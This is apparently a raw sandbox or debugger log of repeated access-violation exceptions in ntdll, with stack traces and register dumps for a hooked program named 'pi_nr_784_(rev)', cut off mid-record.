RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
